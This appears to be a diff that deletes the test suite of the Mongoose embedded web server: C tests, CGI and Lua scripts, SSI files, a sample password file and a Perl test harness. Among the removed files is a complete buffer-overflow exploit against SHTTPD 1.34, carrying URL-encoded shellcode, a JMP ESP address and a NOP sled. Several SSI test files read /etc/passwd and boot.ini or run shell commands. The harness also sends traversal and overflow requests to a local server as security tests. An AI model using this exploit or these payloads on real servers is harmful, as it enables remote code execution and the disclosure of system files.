for (i = 0; i < ri->num_headers; i++) {
mg_printf(conn, "HTTP header [%s]: [%s]\n",
ri->http_headers[i].name,
ri->http_headers[i].value);
}
mg_printf(conn, "Query string: [%s]\n",
ri->query_string ? ri->query_string: "");
mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip);
mg_printf(conn, "Remote port: [%d]\n", ri->remote_port);
mg_printf(conn, "Remote user: [%s]\n",
ri->remote_user ? ri->remote_user : "");
}
static void test_error(struct mg_connection *conn,
const struct mg_request_info *ri) {
int status = (int) ri->ev_data;
mg_printf(conn, "HTTP/1.1 %d XX\r\n"
"Conntection: close\r\n\r\n", status);
mg_printf(conn, "Error: [%d]", status);
}
static void test_post(struct mg_connection *conn,
const struct mg_request_info *ri) {
const char *cl;
char *buf;
int len;
mg_printf(conn, "%s", standard_reply);
if (strcmp(ri->request_method, "POST") == 0 &&
(cl = mg_get_header(conn, "Content-Length")) != NULL) {
len = atoi(cl);
if ((buf = malloc(len)) != NULL) {
mg_write(conn, buf, len);
free(buf);
}
}
}
static const struct test_config {
enum mg_event event;
const char *uri;
void (*func)(struct mg_connection *, const struct mg_request_info *);
} test_config[] = {
{MG_NEW_REQUEST, "/test_get_header", &test_get_header},
{MG_NEW_REQUEST, "/test_get_var", &test_get_var},
{MG_NEW_REQUEST, "/test_get_request_info", &test_get_request_info},
{MG_NEW_REQUEST, "/test_post", &test_post},
{MG_HTTP_ERROR, "", &test_error},
{0, NULL, NULL}
};
static void *callback(enum mg_event event,
struct mg_connection *conn) {
const struct mg_request_info *request_info = mg_get_request_info(conn);
int i;
for (i = 0; test_config[i].uri != NULL; i++) {
if (event == test_config[i].event &&
(event == MG_HTTP_ERROR ||
!strcmp(request_info->uri, test_config[i].uri))) {
test_config[i].func(conn, request_info);
return "processed";
}
}
return NULL;
}
int main(void) {
struct mg_context *ctx;
const char *options[] = {"listening_ports", LISTENING_PORT, NULL};
ctx = mg_start(callback, NULL, options);
pause();
return 0;
}
-46
View File
@@ -1,46 +0,0 @@
#!/usr/bin/env perl
use Cwd;
use CGI;
use vars '%in';
CGI::ReadParse();
print "Content-Type: text/html\r\n\r\n";
print "<pre>\n";
foreach my $key (sort keys %ENV) {
print "$key=$ENV{$key}\n";
}
print "\n";
foreach my $key (sort keys %in) {
print "$key=$in{$key}\n";
}
print "\n";
print 'CURRENT_DIR=' . getcwd() . "\n";
print "</pre>\n";
my $stuff = <<EOP ;
<script language="javascript">
function set_val() {
}
</script>
<form method=get>
<input type=hidden name=a>
<input type=text name=_a onChange="javascript: this.form.a.value=this.value;">
<input type=submit value=get>
</form>
<form method=post>
<input type=text name=b>
<input type=submit value=post>
</form>
EOP
#system('some shit');
print $stuff;
-69
View File
@@ -1,69 +0,0 @@
#!/usr/bin/perl -w
# SHTTPD Buffer Overflow (POST)
# Tested on SHTTPD 1.34 WinXP SP1 Hebrew
# http://shttpd.sourceforge.net
# Codded By SkOd, 05/10/2006
# ISRAEL
#
# details:
# EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
# EBX 00000004 , EIP 41414141 , EBP 41414141
# ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
# ESP 009EFC08 ASCII 41,"AA...AAA"
use IO::Socket;
sub fail(){
syswrite STDOUT, "[-]Connect failed.\n";
exit;
}
sub header()
{
print("##################################\n");
print("SHTTPD (POST) Buffer Overflow.\n");
print("[http://shttpd.sourceforge.net]\n");
print("Codded By SkOd, 05/10/2006\n");
print("##################################\n");
}
if (@ARGV < 1)
{
&header();
print("Usage: Perl shttpd.pl [host]\n");
exit;
}
&header();
$host=$ARGV[0];
$port="80";
$host=~ s/(http:\/\/)//eg;
#win32_exec- CMD=calc Size=160 (metasploit.com)
$shell =
"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";
$esp="%73%C3%2A%4F"; #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
$buff=("%41"x8).$esp.("%90"x85).$shell; #Shellcode+NOP=245
print length($buff) . "\n";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
syswrite STDOUT,"[+]Connected.\n";
print $sock "POST /$buff HTTP/1.1\n";
print $sock "HOST:$host\n\n";
syswrite STDOUT,"[+]Done.\n";
close($sock);
# milw0rm.com [2006-10-05]
-6
View File
@@ -1,6 +0,0 @@
#!/bin/sh
echo "Content-Type: text/plain"
echo
echo $QUERY_STRING
-1
View File
@@ -1 +0,0 @@
simple text file
-43
View File
@@ -1,43 +0,0 @@
mg.write('HTTP/1.0 200 OK\r\n', 'Content-Type: text/plain\r\n', '\r\n')
mg.write(os.date("%A"))
-- for k,v in pairs(_G) do mg.write(k, '\n') end
-- Open database
local db = sqlite3.open('requests.db')
-- Setup a trace callback, to show SQL statements we'll be executing.
-- db:trace(function(data, sql) mg.write('Executing: ', sql: '\n') end, nil)
-- Create a table if it is not created already
db:exec([[
CREATE TABLE IF NOT EXISTS requests (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp NOT NULL,
method NOT NULL,
uri NOT NULL,
addr
);
]])
-- Add entry about this request
local stmt = db:prepare(
'INSERT INTO requests VALUES(NULL, datetime("now"), ?, ?, ?);');
stmt:bind_values(mg.request_info.request_method,
mg.request_info.uri,
mg.request_info.remote_port)
stmt:step()
stmt:finalize()
-- Show all previous records
mg.write('Previous requests:\n')
stmt = db:prepare('SELECT * FROM requests ORDER BY id DESC;')
while stmt:step() == sqlite3.ROW do
local v = stmt:get_values()
mg.write(v[1] .. ' ' .. v[2] .. ' ' .. v[3] .. ' '
.. v[4] .. ' ' .. v[5] .. '\n')
end
-- Close database
db:close()
-67
View File
@@ -1,67 +0,0 @@
HTTP/1.0 200 OK
Content-Type: text/html
<html>
<head>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8">
</head>
<body>
<p>This is an example Lua server page served by
<a href="http://code.google.com/p/mongoose">Mongoose web server</a>.
Mongoose has Lua, Sqlite, and other functionality built in the binary.
This example page stores the request in the Sqlite database, and shows
all requests done previously.</p>
<p> Today is <? mg.write(os.date("%A")) ?>
<pre>
<?
-- for k,v in pairs(_G) do mg.write(k, '\n') end
-- Open database
local db = sqlite3.open('requests.db')
-- Setup a trace callback, to show SQL statements we'll be executing.
-- db:trace(function(data, sql) mg.write('Executing: ', sql: '\n') end, nil)
-- Create a table if it is not created already
db:exec('PRAGMA encoding="UTF-8"; ')
db:exec([[
CREATE TABLE IF NOT EXISTS requests (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp NOT NULL,
method NOT NULL,
uri NOT NULL,
addr
);
]])
-- Add entry about this request
local stmt = db:prepare(
'INSERT INTO requests VALUES(NULL, datetime("now"), ?, ?, ?);');
stmt:bind_values(mg.request_info.request_method,
mg.request_info.uri,
mg.request_info.remote_port)
stmt:step()
stmt:finalize()
-- Show all previous records
mg.write('Previous requests:\n')
stmt = db:prepare('SELECT * FROM requests ORDER BY id DESC;')
while stmt:step() == sqlite3.ROW do
local v = stmt:get_values()
mg.write(v[1] .. ' ' .. v[2] .. ' ' .. v[3] .. ' '
.. v[4] .. ' ' .. v[5] .. '\n')
end
-- Close database
db:close()
?>
</pre>
This is an example on how to include files a-la SSI:
<pre><? mg.write(io.open('dll.def'):read('*all')) ?></pre>
</body></html>
-3
View File
@@ -1,3 +0,0 @@
guest:mydomain.com:485264dcc977a1925370b89d516a1477
Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983
-6
View File
@@ -1,6 +0,0 @@
#!/bin/sh
echo "Content-Type: text/plain"
echo
echo "This is shell script CGI."
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#include file="../Makefile" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#include virtual="embed.c" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#exec "ls -l" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#exec "dir /w" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#include abspath="/etc/passwd" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#include abspath="c:\boot.ini" -->
ssi_end
</pre></html>
-6
View File
@@ -1,6 +0,0 @@
<html><pre>
ssi_begin
<!--#include "unit_test.c" -->
ssi_end
</pre></html>
-1
View File
@@ -1 +0,0 @@
<!--#include "ssi9.shtml" -->
-3
View File
@@ -1,3 +0,0 @@
ssi_begin
<!--#include file="../Makefile" -->
ssi_end
-439
View File
@@ -1,439 +0,0 @@
#!/usr/bin/env perl
# This script is used to test Mongoose web server
# $Id: test.pl 516 2010-05-03 12:54:37Z valenok $
use IO::Socket;
use File::Path;
use File::Basename;
use Cwd;
use strict;
use warnings;
#use diagnostics;
sub on_windows { $^O =~ /win32/i; }
my $port = 31295;
my $pid = undef;
my $num_requests;
my $dir_separator = on_windows() ? '\\' : '/';
my $copy_cmd = on_windows() ? 'copy' : 'cp';
my $test_dir_uri = "test_dir";
my $root = './test';
my $abs_root = Cwd::abs_path(dirname($0) . $dir_separator);
my $test_dir = $abs_root . $dir_separator. $test_dir_uri;
#print "$test_dir\n"; exit 0;
my $config = 'mongoose.conf';
my $exe_ext = on_windows() ? '.exe' : '';
my $mongoose_exe = '.' . $dir_separator . 'mongoose' . $exe_ext;
my $embed_exe = '.' . $dir_separator . 'embed' . $exe_ext;
my $unit_test_exe = '.' . $dir_separator . 'unit_test' . $exe_ext;
my $exit_code = 0;
my @files_to_delete = ('debug.log', 'access.log', $config, "$root/a/put.txt",
"$root/a+.txt", "$root/.htpasswd", "$root/binary_file", "$root/a",
"$root/myperl", $embed_exe, $unit_test_exe);
END {
#system('cat access.log');
unlink @files_to_delete;
kill_spawned_child();
File::Path::rmtree($test_dir);
exit $exit_code;
}
sub fail {
print "FAILED: @_\n";
$exit_code = 1;
exit 1;
}
sub get_num_of_log_entries {
open FD, "access.log" or return 0;
my @lines = (<FD>);
close FD;
return scalar @lines;
}
# Send the request to the 127.0.0.1:$port and return the reply
sub req {
my ($request, $inc, $timeout) = @_;
my $sock = IO::Socket::INET->new(Proto => 6,
PeerAddr => '127.0.0.1', PeerPort => $port);
fail("Cannot connect to http://127.0.0.1:$port : $!") unless $sock;
$sock->autoflush(1);
foreach my $byte (split //, $request) {
last unless print $sock $byte;
select undef, undef, undef, .001 if length($request) < 256;
}
my ($out, $buf) = ('', '');
eval {
alarm $timeout if $timeout;
$out .= $buf while (sysread($sock, $buf, 1024) > 0);
alarm 0 if $timeout;
};
close $sock;
$num_requests += defined($inc) ? $inc : 1;
my $num_logs = get_num_of_log_entries();
unless ($num_requests == $num_logs) {
fail("Request has not been logged: [$request], output: [$out]");
}
return $out;
}
# Send the request. Compare with the expected reply. Fail if no match
sub o {
my ($request, $expected_reply, $message, $num_logs) = @_;
print "==> $message ... ";
my $reply = req($request, $num_logs);
if ($reply =~ /$expected_reply/s) {
print "OK\n";
} else {
#fail("Requested: [$request]\nExpected: [$expected_reply], got: [$reply]");
fail("Expected: [$expected_reply], got: [$reply]");
}
}
# Spawn a server listening on specified port
sub spawn {
my ($cmdline) = @_;
print 'Executing: ', @_, "\n";
if (on_windows()) {
my @args = split /\s+/, $cmdline;
my $executable = $args[0];
Win32::Spawn($executable, $cmdline, $pid);
die "Cannot spawn @_: $!" unless $pid;
} else {
unless ($pid = fork()) {
exec $cmdline;
die "cannot exec [$cmdline]: $!\n";
}
}
sleep 1;
}
sub write_file {
open FD, ">$_[0]" or fail "Cannot open $_[0]: $!";
binmode FD;
print FD $_[1];
close FD;
}
sub read_file {
open FD, $_[0] or fail "Cannot open $_[0]: $!";
my @lines = <FD>;
close FD;
return join '', @lines;
}
sub kill_spawned_child {
if (defined($pid)) {
kill(9, $pid);
waitpid($pid, 0);
}
}
####################################################### ENTRY POINT
unlink @files_to_delete;
$SIG{PIPE} = 'IGNORE';
$SIG{ALRM} = sub { die "timeout\n" };
#local $| =1;
# Make sure we export only symbols that start with "mg_", and keep local
# symbols static.
if ($^O =~ /darwin|bsd|linux/) {
my $out = `(cc -c mongoose.c && nm mongoose.o) | grep ' T '`;
foreach (split /\n/, $out) {
/T\s+_?mg_.+/ or fail("Exported symbol $_")
}
}
# Make sure we load config file if no options are given.
# Command line options override config files settings
write_file($config, "access_log_file access.log\n" .
"document_root $root\n" .
"listening_port 127.0.0.1:23164\n");
spawn("$mongoose_exe -listening_port 127.0.0.1:$port");
o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'Loading config file');
unlink $config;
kill_spawned_child();
# "-cgi_environment CGI_FOO=foo,CGI_BAR=bar,CGI_BAZ=baz " .
# "-enable_keep_alive yes ".
# Spawn the server on port $port
my $cmd = "$mongoose_exe ".
"-listening_port 127.0.0.1:$port ".
"-access_log_file access.log ".
"-error_log_file debug.log ".
"-extra_mime_types .bar=foo/bar,.tar.gz=blah,.baz=foo " .
"-dav_auth_file $abs_root/passfile " .
'-access_control_list -0.0.0.0/0,+127.0.0.1 ' .
"-document_root $root ".
"-hide_files_patterns **exploit.PL ".
"-url_rewrites /aiased=/etc/,/ta=$test_dir";
$cmd .= ' -cgi_interpreter perl' if on_windows();
spawn($cmd);
o("GET /dir%20with%20spaces/桌面/ HTTP/1.0\r\n\r\n", 'куку!',
'Non-ascii chars in path');
o("GET /hello.txt HTTP/1.1\nConnection: close\nRange: bytes=3-50\r\n\r\n",
'Content-Length: 15\s', 'Range past the file end');
o("GET /hello.txt HTTP/1.1\nContent-Length: 0\n\n ".
"GET /hello.txt HTTP/1.0\nContent-Length: 0\n\n",
'HTTP/1.1 200.+keep-alive.+HTTP/1.1 200.+close',
'Request pipelining', 2);
my $x = 'x=' . 'A' x (200 * 1024);
my $len = length($x);
o("POST /env.cgi HTTP/1.0\r\nContent-Length: $len\r\n\r\n$x",
'^HTTP/1.1 200 OK', 'Long POST');
# Try to overflow: Send very long request
req('POST ' . '/..' x 100 . 'ABCD' x 3000 . "\n\n", 0); # don't log this one
o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'GET regular file');
o("GET /hello.txt HTTP/1.0\nContent-Length: -2147483648\n\n",
'HTTP/1.1 200 OK', 'Negative content length');
o("GET /hello.txt HTTP/1.0\n\n", 'Content-Length: 17\s',
'GET regular file Content-Length');
o("GET /%68%65%6c%6c%6f%2e%74%78%74 HTTP/1.0\n\n",
'HTTP/1.1 200 OK', 'URL-decoding');
# '+' in URI must not be URL-decoded to space
write_file("$root/a+.txt", ':-)');
o("GET /a+.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'URL-decoding, + in URI');
# Break CGI reading after 1 second. We must get full output.
# Since CGI script does sleep, we sleep as well and increase request count
# manually.
my $slow_cgi_reply;
print "==> Slow CGI output ... ";
fail('Slow CGI output forward reply=', $slow_cgi_reply) unless
($slow_cgi_reply = req("GET /timeout.cgi HTTP/1.0\r\n\r\n", 0, 1)) =~ /Some data/s;
print "OK\n";
sleep 2;
#$num_requests++;
# Test HTTP version parsing
o("GET / HTTPX/1.0\r\n\r\n", '^HTTP/1.1 400', 'Bad HTTP Version', 0);
o("GET / HTTP/x.1\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP maj Version', 1);
o("GET / HTTP/1.1z\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP min Version', 1);
o("GET / HTTP/02.0\r\n\r\n", '^HTTP/1.1 505', 'HTTP Version >1.1', 1);
# File with leading single dot
o("GET /.leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 1');
o("GET /...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 2');
o("GET /../\\\\/.//...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 3')
if on_windows();
o("GET .. HTTP/1.0\n\n", '400 Bad Request', 'Leading dot 4', 0);
mkdir $test_dir unless -d $test_dir;
o("GET /$test_dir_uri/not_exist HTTP/1.0\n\n",
'HTTP/1.1 404', 'PATH_INFO loop problem');
o("GET /$test_dir_uri HTTP/1.0\n\n", 'HTTP/1.1 301', 'Directory redirection');
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'Modified', 'Directory listing');
write_file("$test_dir/index.html", "tralala");
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'tralala', 'Index substitution');
o("GET / HTTP/1.0\n\n", 'embed.c', 'Directory listing - file name');
o("GET /ta/ HTTP/1.0\n\n", 'Modified', 'Aliases');
o("GET /not-exist HTTP/1.0\r\n\n", 'HTTP/1.1 404', 'Not existent file');
mkdir $test_dir . $dir_separator . 'x';
my $path = $test_dir . $dir_separator . 'x' . $dir_separator . 'index.cgi';
write_file($path, read_file($root . $dir_separator . 'env.cgi'));
chmod(0755, $path);
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", "Content-Type: text/html\r\n\r\n",
'index.cgi execution');
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n",
"SCRIPT_FILENAME=$test_dir/x/index.cgi", 'SCRIPT_FILENAME');
o("GET /ta/x/ HTTP/1.0\n\n", "SCRIPT_NAME=/ta/x/index.cgi",
'Aliases SCRIPT_NAME');
o("GET /hello.txt HTTP/1.1\nConnection: close\n\n", 'Connection: close',
'No keep-alive');
$path = $test_dir . $dir_separator . 'x' . $dir_separator . 'a.cgi';
system("ln -s `which perl` $root/myperl") == 0 or fail("Can't symlink perl");
write_file($path, "#!../../myperl\n" .
"print \"Content-Type: text/plain\\n\\nhi\";");
chmod(0755, $path);
o("GET /$test_dir_uri/x/a.cgi HTTP/1.0\n\n", "hi", 'Relative CGI interp path');
o("GET * HTTP/1.0\n\n", "^HTTP/1.1 404", '* URI');
my $mime_types = {
html => 'text/html',
htm => 'text/html',
txt => 'text/plain',
unknown_extension => 'text/plain',
js => 'application/x-javascript',
css => 'text/css',
jpg => 'image/jpeg',
c => 'text/plain',
'tar.gz' => 'blah',
bar => 'foo/bar',
baz => 'foo',
};
foreach my $key (keys %$mime_types) {
my $filename = "_mime_file_test.$key";
write_file("$root/$filename", '');
o("GET /$filename HTTP/1.0\n\n",
"Content-Type: $mime_types->{$key}", ".$key mime type");
unlink "$root/$filename";
}
# Get binary file and check the integrity
my $binary_file = 'binary_file';
my $f2 = '';
foreach (0..123456) { $f2 .= chr(int(rand() * 255)); }
write_file("$root/$binary_file", $f2);
my $f1 = req("GET /$binary_file HTTP/1.0\r\n\n");
while ($f1 =~ /^.*\r\n/) { $f1 =~ s/^.*\r\n// }
$f1 eq $f2 or fail("Integrity check for downloaded binary file");
my $range_request = "GET /hello.txt HTTP/1.1\nConnection: close\n".
"Range: bytes=3-5\r\n\r\n";
o($range_request, '206 Partial Content', 'Range: 206 status code');
o($range_request, 'Content-Length: 3\s', 'Range: Content-Length');
o($range_request, 'Content-Range: bytes 3-5/17', 'Range: Content-Range');
o($range_request, '\nple$', 'Range: body content');
# Test directory sorting. Sleep between file creation for 1.1 seconds,
# to make sure modification time are different.
mkdir "$test_dir/sort";
write_file("$test_dir/sort/11", 'xx');
select undef, undef, undef, 1.1;
write_file("$test_dir/sort/aa", 'xxxx');
select undef, undef, undef, 1.1;
write_file("$test_dir/sort/bb", 'xxx');
select undef, undef, undef, 1.1;
write_file("$test_dir/sort/22", 'x');
o("GET /$test_dir_uri/sort/?n HTTP/1.0\n\n",
'200 OK.+>11<.+>22<.+>aa<.+>bb<',
'Directory listing (name, ascending)');
o("GET /$test_dir_uri/sort/?nd HTTP/1.0\n\n",
'200 OK.+>bb<.+>aa<.+>22<.+>11<',
'Directory listing (name, descending)');
o("GET /$test_dir_uri/sort/?s HTTP/1.0\n\n",
'200 OK.+>22<.+>11<.+>bb<.+>aa<',
'Directory listing (size, ascending)');
o("GET /$test_dir_uri/sort/?sd HTTP/1.0\n\n",
'200 OK.+>aa<.+>bb<.+>11<.+>22<',
'Directory listing (size, descending)');
o("GET /$test_dir_uri/sort/?d HTTP/1.0\n\n",
'200 OK.+>11<.+>aa<.+>bb<.+>22<',
'Directory listing (modification time, ascending)');
o("GET /$test_dir_uri/sort/?dd HTTP/1.0\n\n",
'200 OK.+>22<.+>bb<.+>aa<.+>11<',
'Directory listing (modification time, descending)');
unless (scalar(@ARGV) > 0 and $ARGV[0] eq "basic_tests") {
# Check that .htpasswd file existence trigger authorization
write_file("$root/.htpasswd", 'user with space, " and comma:mydomain.com:5deda12442309cbdcdffc6b2737a894f');
o("GET /hello.txt HTTP/1.1\n\n", '401 Unauthorized',
'.htpasswd - triggering auth on file request');
o("GET / HTTP/1.1\n\n", '401 Unauthorized',
'.htpasswd - triggering auth on directory request');
# Test various funky things in an authentication header.
o("GET /hello.txt HTTP/1.0\nAuthorization: Digest eq== empty=\"\", empty2=, quoted=\"blah foo bar, baz\\\"\\\" more\\\"\", unterminatedquoted=\" doesn't stop\n\n",
'401 Unauthorized', 'weird auth values should not cause crashes');
my $auth_header = "Digest username=\"user with space, \\\" and comma\", ".
"realm=\"mydomain.com\", nonce=\"1291376417\", uri=\"/\",".
"response=\"e8dec0c2a1a0c8a7e9a97b4b5ea6a6e6\", qop=auth, nc=00000001, cnonce=\"1a49b53a47a66e82\"";
# TODO(lsm): re-enable auth checks
unlink "$root/.htpasswd";
o("GET /hello.txt HTTP/1.0\nAuthorization: $auth_header\n\n", 'HTTP/1.1 200 OK', 'GET regular file with auth');
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(.htpasswd)))*$',
'.htpasswd is hidden from the directory list');
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(exploit.pl)))*$',
'hidden file is hidden from the directory list');
o("GET /.htpasswd HTTP/1.0\nAuthorization: $auth_header\n\n",
'^HTTP/1.1 404 ', '.htpasswd must not be shown');
o("GET /exploit.pl HTTP/1.0\nAuthorization: $auth_header\n\n",
'^HTTP/1.1 404', 'hidden files must not be shown');
o("GET /dir%20with%20spaces/hello.cgi HTTP/1.0\n\r\n",
'HTTP/1.1 200 OK.+hello', 'CGI script with spaces in path');
o("GET /env.cgi HTTP/1.0\n\r\n", 'HTTP/1.1 200 OK', 'GET CGI file');
o("GET /bad2.cgi HTTP/1.0\n\n", "HTTP/1.1 302 Please pass me to the client\r",
'CGI Status code text');
o("GET /sh.cgi HTTP/1.0\n\r\n", 'shell script CGI',
'GET sh CGI file') unless on_windows();
o("GET /env.cgi?var=HELLO HTTP/1.0\n\n", 'QUERY_STRING=var=HELLO',
'QUERY_STRING wrong');
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
'var=HELLO', 'CGI POST wrong');
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
'\x0aCONTENT_LENGTH=9', 'Content-Length not being passed to CGI');
o("GET /env.cgi HTTP/1.0\nMy-HdR: abc\n\r\n",
'HTTP_MY_HDR=abc', 'HTTP_* env');
o("GET /env.cgi HTTP/1.0\n\r\nSOME_TRAILING_DATA_HERE",
'HTTP/1.1 200 OK', 'GET CGI with trailing data');
o("GET /env.cgi%20 HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%20)');
o("GET /env.cgi%ff HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%ff)');
o("GET /env.cgi%2e HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2e)');
o("GET /env.cgi%2b HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2b)');
o("GET /env.cgi HTTP/1.0\n\r\n", '\nHTTPS=off\n', 'CGI HTTPS');
o("GET /env.cgi/a/b/98 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/98\n', 'PATH_INFO');
o("GET /env.cgi/a/b/9 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/9\n', 'PATH_INFO');
o("GET /env.cgi/foo/bar?a=b HTTP/1.0\n\n",
'SCRIPT_NAME=/env.cgi\s', 'SCRIPT_NAME for CGI with PATH_INFO');
# Check that CGI's current directory is set to script's directory
my $copy_cmd = on_windows() ? 'copy' : 'cp';
system("$copy_cmd $root" . $dir_separator . "env.cgi $test_dir" .
$dir_separator . 'env.cgi');
o("GET /$test_dir_uri/env.cgi HTTP/1.0\n\n",
"CURRENT_DIR=.*$root/$test_dir_uri", "CGI chdir()");
# Manipulate the passwords file
my $path = 'test_htpasswd';
unlink $path;
system("$mongoose_exe -A $path a b c") == 0
or fail("Cannot add user in a passwd file");
system("$mongoose_exe -A $path a b c2") == 0
or fail("Cannot edit user in a passwd file");
my $content = read_file($path);
$content =~ /^b:a:\w+$/gs or fail("Bad content of the passwd file");
unlink $path;
do_PUT_test();
kill_spawned_child();
}
sub do_PUT_test {
# This only works because mongoose currently doesn't look at the nonce.
# It should really be rejected...
my $auth_header = "Authorization: Digest username=guest, ".
"realm=mydomain.com, nonce=1145872809, uri=/put.txt, ".
"response=896327350763836180c61d87578037d9, qop=auth, ".
"nc=00000002, cnonce=53eddd3be4e26a98\n";
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 7\n$auth_header\n1234567",
"HTTP/1.1 201 OK", 'PUT file, status 201');
fail("PUT content mismatch")
unless read_file("$root/a/put.txt") eq '1234567';
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 4\n$auth_header\nabcd",
"HTTP/1.1 200 OK", 'PUT file, status 200');
fail("PUT content mismatch")
unless read_file("$root/a/put.txt") eq 'abcd';
o("PUT /a/put.txt HTTP/1.0\n$auth_header\nabcd",
"HTTP/1.1 411 Length Required", 'PUT 411 error');
o("PUT /a/put.txt HTTP/1.0\nExpect: 100-continue\nContent-Length: 4\n".
"$auth_header\nabcd",
"HTTP/1.1 100 Continue.+HTTP/1.1 200", 'PUT 100-Continue');
}
print "SUCCESS! All tests passed.\n";
-12
View File
@@ -1,12 +0,0 @@
#!/usr/bin/env perl
# Make stdout unbuffered
use FileHandle;
STDOUT->autoflush(1);
# This script outputs some content, then sleeps for 5 seconds, then exits.
# Web server should return the content immediately after it is sent,
# not waiting until the script exits.
print "Content-Type: text/html\r\n\r\n";
print "Some data";
sleep 3;
-454
View File
@@ -1,454 +0,0 @@
// Unit test for the mongoose web server.
#define USE_WEBSOCKET
#ifndef _WIN32
#define USE_IPV6
#include <netdb.h> // For gethostbyname()
#endif
// USE_* definitions must be made before #include "mongoose.c" !
#include "../mongoose.c"
#define FAIL(str, line) do { \
printf("Fail on line %d: [%s]\n", line, str); \
return str; \
} while (0)
#define ASSERT(expr) do { \
static_num_tests++; \
if (!(expr)) FAIL(#expr, __LINE__); \
} while (0)
#define RUN_TEST(test) do { const char *msg = test(); \
if (msg) return msg; } while (0)
#define HTTP_PORT "45772"
#define LISTENING_ADDR "127.0.0.1:" HTTP_PORT
static int static_num_tests = 0;
// Connects to host:port, and sends formatted request to it. Returns
// malloc-ed reply and reply length, or NULL on error. Reply contains
// everything including headers, not just the message body.
static char *wget(const char *host, int port, int *len, const char *fmt, ...) {
char buf[2000], *reply = NULL;
int request_len, reply_size = 0, n, sock = -1;
struct sockaddr_in sin;
struct hostent *he = NULL;
va_list ap;
if (host != NULL &&
(he = gethostbyname(host)) != NULL &&
(sock = socket(PF_INET, SOCK_STREAM, 0)) != -1) {
sin.sin_family = AF_INET;
sin.sin_port = htons((uint16_t) port);
sin.sin_addr = * (struct in_addr *) he->h_addr_list[0];
if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) == 0) {
// Format and send the request.
va_start(ap, fmt);
request_len = vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
while (request_len > 0 && (n = send(sock, buf, request_len, 0)) > 0) {
request_len -= n;
}
if (request_len == 0) {
*len = 0;
while ((n = recv(sock, buf, sizeof(buf), 0)) > 0) {
if (*len + n > reply_size) {
reply = realloc(reply, reply_size + sizeof(buf)); // Leak possible
reply_size += sizeof(buf);
}
if (reply != NULL) {
memcpy(reply + *len, buf, n);
*len += n;
}
}
}
closesocket(sock);
}
}
return reply;
}
static char *read_file(const char *path, int *size) {
FILE *fp;
struct stat st;
char *data = NULL;
if ((fp = fopen(path, "rb")) != NULL && !fstat(fileno(fp), &st)) {
*size = (int) st.st_size;
assert((data = malloc(*size)) != NULL);
assert(fread(data, 1, *size, fp) == (size_t) *size);
fclose(fp);
}
return data;
}
static const char *test_parse_http_message() {
struct mg_connection ri;
char req1[] = "GET / HTTP/1.1\r\n\r\n";
char req2[] = "BLAH / HTTP/1.1\r\n\r\n";
char req3[] = "GET / HTTP/1.1\r\nBah\r\n";
char req4[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nbaz\r\n\r\n";
char req5[] = "GET / HTTP/1.1\r\n\r\n";
char req6[] = "G";
char req7[] = " blah ";
char req8[] = " HTTP/1.1 200 OK \n\n";
